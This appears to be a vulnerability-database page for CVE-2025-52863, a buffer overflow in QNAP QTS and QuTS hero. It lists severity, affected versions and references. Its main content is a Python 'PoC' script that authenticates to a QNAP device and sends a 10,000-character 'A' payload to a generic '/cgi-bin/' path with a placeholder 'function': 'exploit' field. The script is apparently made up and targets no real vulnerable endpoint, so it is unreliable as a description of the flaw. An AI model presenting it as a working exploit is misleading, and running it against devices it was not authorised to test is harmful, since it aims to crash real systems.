CVE-2025-52863

Description

A buffer overflow vulnerability has been reported to affect several QNAP operating system versions. If a remote attacker gains a user account, they can then exploit the vulnerability to modify memory or crash processes. We have already fixed the vulnerability in the following versions: QTS 5.2.7.3256 build 20250913 and later QuTS hero h5.2.7.3256 build 20250913 and later QuTS hero h5.3.0.3192 build 20250716 and later

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:qnap:quts_hero:h5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2789:build_20240607:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2744:build_20240424:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

QNAP QTS < 5.2.7.3256 build 20250913

QNAP QuTS hero h5.2.7.3256 < build 20250913

QNAP QuTS hero h5.3.0.3192 < build 20250716

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
"""
CVE-2025-52863 - QNAP Buffer Overflow PoC
Note: This is a conceptual PoC for educational purposes only.
Do not use against systems without authorization.
"""

import requests
import sys

def exploit_qnap(target_ip, username, password, target_port=8080):
    """
    Conceptual exploit for CVE-2025-52863
    Requires valid user credentials for exploitation
    """
    print(f"[*] Target: {target_ip}:{target_port}")
    print(f"[*] CVE-2025-52863 Buffer Overflow PoC")
    
    # Authentication
    login_url = f"http://{target_ip}:{target_port}/cgi-bin/authLogin.cgi"
    auth_data = {
        "username": username,
        "password": password
    }
    
    try:
        session = requests.Session()
        resp = session.post(login_url, data=auth_data, timeout=10)
        
        if resp.status_code != 200:
            print("[-] Authentication failed")
            return False
            
        print("[+] Authentication successful")
        
        # Buffer overflow payload generation
        # Attacker-controlled input that exceeds buffer boundaries
        overflow_payload = "A" * 10000  # Large payload to trigger overflow
        
        # Target vulnerable endpoint
        exploit_url = f"http://{target_ip}:{target_port}/cgi-bin/"
        
        headers = {
            "Content-Type": "application/x-www-form-urlencoded",
            "X-Requested-With": "XMLHttpRequest"
        }
        
        exploit_data = {
            "function": "exploit",
            "buffer": overflow_payload
        }
        
        print("[*] Sending overflow payload...")
        response = session.post(exploit_url, data=exploit_data, headers=headers, timeout=30)
        
        if response.status_code == 500 or response.status_code == 0:
            print("[+] Possible buffer overflow triggered - process crash detected")
            return True
        else:
            print("[-] No obvious overflow response")
            return False
            
    except requests.exceptions.RequestException as e:
        print(f"[-] Request failed: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <target_ip> <username> <password>")
        sys.exit(1)
    
    target = sys.argv[1]
    user = sys.argv[2]
    pwd = sys.argv[3]
    
    exploit_qnap(target, user, pwd)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-52863
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-52863
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-52863/
[4] VulDB https://vuldb.com/cve/CVE-2025-52863
[5] https://www.qnap.com/en/security-advisory/qsa-25-50

Raw JSON Data

JSON

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